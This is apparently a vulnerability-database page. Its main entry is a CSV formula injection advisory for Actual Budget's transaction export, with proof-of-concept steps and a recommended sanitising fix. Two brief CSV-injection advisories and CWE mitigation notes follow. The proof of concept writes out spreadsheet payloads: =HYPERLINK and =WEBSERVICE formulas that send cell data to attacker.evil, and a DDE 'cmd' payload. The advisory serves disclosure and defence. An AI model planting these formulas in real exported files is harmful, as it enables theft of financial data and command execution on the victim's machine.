exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with =, +, -, @, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. =HYPERLINK("http://attacker/?leak="&B2,"Bank refund") is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. =WEBSERVICE/=IMPORTXML provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.

Details

Sink — packages/loot-core/src/server/transactions/export/export-to-csv.ts:56:

return csvStringify(transactionsForExport, { header: true });

and the same call again at export-to-csv.ts:131 for exportQueryToCSV. csv-stringify v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — grep for csvStringify finds exactly one source file across the monorepo.

Source of attacker-controlled Payee/Notes:

  • packages/loot-core/src/server/transactions/import/parse-file.ts:77 dispatches uploaded files to parseCSV (:109), parseOFX (:200), parseQIF (:158), parseCAMT (:250). None of them strip or escape formula prefixes from payee_name/imported_payee/notes.
  • For OFX, mapOfxTransaction in packages/loot-core/src/server/transactions/import/ofx2json.ts only runs html2Plain (HTML entity decoding) on the NAME field — =, +, -, @, \t are untouched.
  • sync.normalizeTransactions (packages/loot-core/src/server/transactions/sync.ts) applies title() casing, which only mutates letters via String.toLowerCase; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (=hyperlink(...) parses identically to =HYPERLINK(...)).
  • The payee can also be entered directly through the UI or set via the @actual-app/api's payee/transaction CRUD endpoints — anyone with write access to a shared budget can plant the payload.

Verification that csv-stringify does not neutralize formulas:

$ node -e "const{stringify}=require('csv-stringify/sync');console.log(stringify([{Payee:'=HYPERLINK(\"http://x/?\"&B2,\"refund\")'}],{header:true}))"
Payee
"=HYPERLINK(""http://x/?""&B2,""refund"")"

The double-quote escaping is intact, but the leading = is not prefixed with ' or otherwise neutralized — Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open.

PoC

  1. Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into "Import file":
Date,Payee,Amount
2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",100.00
2026-01-02,"@SUM(1+1)*cmd|'/c calc'!A0",50.00
2026-01-03,"+1+1",-25.00
2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",10.00
  1. Victim imports through Account → Import file. parseFile (parse-file.ts:77) → parseCSV/parseOFX/parseQIF/parseCAMT returns rows with the formula strings preserved as payee_name. sync.normalizeTransactions does not strip the prefix characters.
  2. Payees are persisted into the payees table verbatim.
  3. Some time later the victim runs Account → menu → Export. transactions-export-query invokes exportQueryToCSV (export-to-csv.ts:131).
  4. The exported file looks like (verified output shape from csvStringify):
Account,Date,Payee,Notes,Category_Group,Category,Amount,Split_Amount,Cleared
Checking,2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",,,,100.00,0,Not cleared
Checking,2026-01-02,@SUM(1+1)*cmd|'/c calc'!A0,,,,50.00,0,Not cleared
Checking,2026-01-03,+1+1,,,,-25.00,0,Not cleared
Checking,2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",,,,10.00,0,Not cleared
  1. Victim or downstream recipient (accountant, spouse, tax preparer) opens the CSV in Excel/LibreOffice/Sheets. =HYPERLINK(...) renders as a clickable link that exfiltrates adjacent cell values to attacker on click; =WEBSERVICE/=IMPORTXML (Sheets/LibreOffice) fire automatically; legacy =cmd|... DDE may execute on unpatched Excel.

Impact

  • Confidentiality: Adjacent transaction data (amounts, account names, balances, payees, categories) can be exfiltrated to attacker-controlled URLs through =HYPERLINK clicks or auto-firing =WEBSERVICE/=IMPORTXML.
  • Integrity: Spreadsheet recipients (accountants, tax preparers) see attacker-chosen display values where they expected raw payee names, enabling fraud (e.g., forged "Refund" line items linking to phishing).
  • Reach: Exports from Actual Budget are commonly shared with third parties (accountants, tax software, household members). One malicious imported statement contaminates every future export of that budget.
  • Note on AC:H: requires victim-driven import → export → spreadsheet open. Modern Excel disables DDE by default, narrowing the RCE pathway, but =HYPERLINK exfil is universal and silent.

Recommended Fix

Pass a cast.string callback to csv-stringify that prefixes any formula-trigger string with a single quote, the OWASP-recommended neutralization. Apply at both call sites in packages/loot-core/src/server/transactions/export/export-to-csv.ts:

import { stringify as csvStringify } from 'csv-stringify/sync';

const FORMULA_PREFIX = /^[=+\-@\t\r]/;

function neutralizeFormula(value: string): string {
  return FORMULA_PREFIX.test(value) ? `'${value}` : value;
}

const csvOptions = {
  header: true,
  cast: {
    string: (value: string) => neutralizeFormula(value),
  },
} as const;

// export-to-csv.ts:56
return csvStringify(transactionsForExport, csvOptions);

// export-to-csv.ts:131
return csvStringify(transactionsForExport, csvOptions);

Alternative defenses to consider in addition: - Strip/neutralize formula prefixes on import in parse-file.ts for payee_name/notes so the database never contains formula-shaped strings (defense in depth — protects any future export consumers). - Add a regression unit test that asserts every CSV cell starting with =, +, -, @, \t, or \r is prefixed with '.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@actual-app/web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50179"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T23:48:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`exportToCSV` and `exportQueryToCSV` in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` pass user-controlled `Payee`, `Notes`, `Account`, and `Category` strings to `csv-stringify` with no `cast` callback and no formula-prefix neutralization. Strings that begin with `=`, `+`, `-`, `@`, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. `=HYPERLINK(\"http://attacker/?leak=\"\u0026B2,\"Bank refund\")` is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. `=WEBSERVICE`/`=IMPORTXML` provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.\n\n## Details\n\nSink \u2014 `packages/loot-core/src/server/transactions/export/export-to-csv.ts:56`:\n\n```ts\nreturn csvStringify(transactionsForExport, { header: true });\n```\n\nand the same call again at `export-to-csv.ts:131` for `exportQueryToCSV`. `csv-stringify` v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper \u2014 `grep` for `csvStringify` finds exactly one source file across the monorepo.\n\nSource of attacker-controlled `Payee`/`Notes`:\n\n- `packages/loot-core/src/server/transactions/import/parse-file.ts:77` dispatches uploaded files to `parseCSV` (`:109`), `parseOFX` (`:200`), `parseQIF` (`:158`), `parseCAMT` (`:250`). None of them strip or escape formula prefixes from `payee_name`/`imported_payee`/`notes`.\n- For OFX, `mapOfxTransaction` in `packages/loot-core/src/server/transactions/import/ofx2json.ts` only runs `html2Plain` (HTML entity decoding) on the NAME field \u2014 `=`, `+`, `-`, `@`, `\\t` are untouched.\n- `sync.normalizeTransactions` (`packages/loot-core/src/server/transactions/sync.ts`) applies `title()` casing, which only mutates letters via `String.toLowerCase`; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (`=hyperlink(...)` parses identically to `=HYPERLINK(...)`).\n- The payee can also be entered directly through the UI or set via the `@actual-app/api`\u0027s payee/transaction CRUD endpoints \u2014 anyone with write access to a shared budget can plant the payload.\n\nVerification that `csv-stringify` does not neutralize formulas:\n\n```\n$ node -e \"const{stringify}=require(\u0027csv-stringify/sync\u0027);console.log(stringify([{Payee:\u0027=HYPERLINK(\\\"http://x/?\\\"\u0026B2,\\\"refund\\\")\u0027}],{header:true}))\"\nPayee\n\"=HYPERLINK(\"\"http://x/?\"\"\u0026B2,\"\"refund\"\")\"\n```\n\nThe double-quote escaping is intact, but the leading `=` is not prefixed with `\u0027` or otherwise neutralized \u2014 Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open.\n\n## PoC\n\n1. Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into \"Import file\":\n\n```\nDate,Payee,Amount\n2026-01-01,\"=HYPERLINK(\"\"http://attacker.evil/leak?d=\"\"\u0026B2\u0026C2,\"\"Bank refund details\"\")\",100.00\n2026-01-02,\"@SUM(1+1)*cmd|\u0027/c calc\u0027!A0\",50.00\n2026-01-03,\"+1+1\",-25.00\n2026-01-04,\"=WEBSERVICE(\"\"http://attacker.evil/?d=\"\"\u0026B2)\",10.00\n```\n\n2. Victim imports through Account \u2192 Import file. `parseFile` (`parse-file.ts:77`) \u2192 `parseCSV`/`parseOFX`/`parseQIF`/`parseCAMT` returns rows with the formula strings preserved as `payee_name`. `sync.normalizeTransactions` does not strip the prefix characters.\n3. Payees are persisted into the `payees` table verbatim.\n4. Some time later the victim runs Account \u2192 menu \u2192 Export. `transactions-export-query` invokes `exportQueryToCSV` (`export-to-csv.ts:131`).\n5. The exported file looks like (verified output shape from `csvStringify`):\n\n```\nAccount,Date,Payee,Notes,Category_Group,Category,Amount,Split_Amount,Cleared\nChecking,2026-01-01,\"=HYPERLINK(\"\"http://attacker.evil/leak?d=\"\"\u0026B2\u0026C2,\"\"Bank refund details\"\")\",,,,100.00,0,Not cleared\nChecking,2026-01-02,@SUM(1+1)*cmd|\u0027/c calc\u0027!A0,,,,50.00,0,Not cleared\nChecking,2026-01-03,+1+1,,,,-25.00,0,Not cleared\nChecking,2026-01-04,\"=WEBSERVICE(\"\"http://attacker.evil/?d=\"\"\u0026B2)\",,,,10.00,0,Not cleared\n```\n\n6. Victim or downstream recipient (accountant, spouse, tax preparer) opens the CSV in Excel/LibreOffice/Sheets. `=HYPERLINK(...)` renders as a clickable link that exfiltrates adjacent cell values to attacker on click; `=WEBSERVICE`/`=IMPORTXML` (Sheets/LibreOffice) fire automatically; legacy `=cmd|...` DDE may execute on unpatched Excel.\n\n## Impact\n\n- **Confidentiality**: Adjacent transaction data (amounts, account names, balances, payees, categories) can be exfiltrated to attacker-controlled URLs through `=HYPERLINK` clicks or auto-firing `=WEBSERVICE`/`=IMPORTXML`.\n- **Integrity**: Spreadsheet recipients (accountants, tax preparers) see attacker-chosen display values where they expected raw payee names, enabling fraud (e.g., forged \"Refund\" line items linking to phishing).\n- **Reach**: Exports from Actual Budget are commonly shared with third parties (accountants, tax software, household members). One malicious imported statement contaminates every future export of that budget.\n- **Note on AC:H**: requires victim-driven import \u2192 export \u2192 spreadsheet open. Modern Excel disables DDE by default, narrowing the RCE pathway, but `=HYPERLINK` exfil is universal and silent.\n\n## Recommended Fix\n\nPass a `cast.string` callback to `csv-stringify` that prefixes any formula-trigger string with a single quote, the OWASP-recommended neutralization. Apply at both call sites in `packages/loot-core/src/server/transactions/export/export-to-csv.ts`:\n\n```ts\nimport { stringify as csvStringify } from \u0027csv-stringify/sync\u0027;\n\nconst FORMULA_PREFIX = /^[=+\\-@\\t\\r]/;\n\nfunction neutralizeFormula(value: string): string {\n  return FORMULA_PREFIX.test(value) ? `\u0027${value}` : value;\n}\n\nconst csvOptions = {\n  header: true,\n  cast: {\n    string: (value: string) =\u003e neutralizeFormula(value),\n  },\n} as const;\n\n// export-to-csv.ts:56\nreturn csvStringify(transactionsForExport, csvOptions);\n\n// export-to-csv.ts:131\nreturn csvStringify(transactionsForExport, csvOptions);\n```\n\nAlternative defenses to consider in addition:\n- Strip/neutralize formula prefixes on import in `parse-file.ts` for `payee_name`/`notes` so the database never contains formula-shaped strings (defense in depth \u2014 protects any future export consumers).\n- Add a regression unit test that asserts every CSV cell starting with `=`, `+`, `-`, `@`, `\\t`, or `\\r` is prefixed with `\u0027`.",
  "id": "GHSA-xqjm-27pc-rvwm",
  "modified": "2026-06-22T23:48:40Z",
  "published": "2026-06-22T23:48:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/actualbudget/actual/security/advisories/GHSA-xqjm-27pc-rvwm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/actualbudget/actual"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields"
}

GHSA-XRPJ-F9V6-2332

Vulnerability from github – Published: 2021-10-04 20:12 – Updated: 2021-10-18 19:08
VLAI
Summary
CSV injection in Craft CMS
Details

Withdrawn

Duplicate of GHSA-h7vq-5qgw-jwwq

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.7.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-10-01T19:01:45Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Withdrawn \n\nDuplicate of GHSA-h7vq-5qgw-jwwq",
  "id": "GHSA-xrpj-f9v6-2332",
  "modified": "2021-10-18T19:08:54Z",
  "published": "2021-10-04T20:12:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-h7vq-5qgw-jwwq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41824"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/commit/c9cb2225f1b908fb1e8401d401219228634b26b2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#3714---2021-09-28"
    },
    {
      "type": "WEB",
      "url": "https://twitter.com/craftcmsupdates/status/1442928690145366018"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CSV injection in Craft CMS",
  "withdrawn": "2021-10-18T19:05:16Z"
}

GHSA-XX54-MVR7-RHFJ

Vulnerability from github – Published: 2023-11-07 21:30 – Updated: 2026-04-28 15:30
VLAI
Details

Improper Neutralization of Formula Elements in a CSV File vulnerability in Narola Infotech Solutions LLP Export Users Data Distinct.This issue affects Export Users Data Distinct: from n/a through 1.3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-46804"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-07T17:15:08Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Formula Elements in a CSV File vulnerability in Narola Infotech Solutions LLP Export Users Data Distinct.This issue affects Export Users Data Distinct: from n/a through 1.3.",
  "id": "GHSA-xx54-mvr7-rhfj",
  "modified": "2026-04-28T15:30:35Z",
  "published": "2023-11-07T21:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46804"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/export-users-data-distinct/vulnerability/wordpress-export-users-data-distinct-plugin-1-3-csv-injection?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/export-users-data-distinct/wordpress-export-users-data-distinct-plugin-1-3-csv-injection?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Implementation

When generating CSV output, ensure that formula-sensitive metacharacters are effectively escaped or removed from all data before storage in the resultant CSV. Risky characters include '=' (equal), '+' (plus), '-' (minus), and '@' (at).

Mitigation
Implementation

If a field starts with a formula character, prepend it with a ' (single apostrophe), which prevents Excel from executing the formula.

Mitigation
Architecture and Design

Certain implementations of spreadsheet software might disallow formulas from executing if the file is untrusted, or if the file is not authored by the current user.

No CAPEC attack patterns related to this CWE.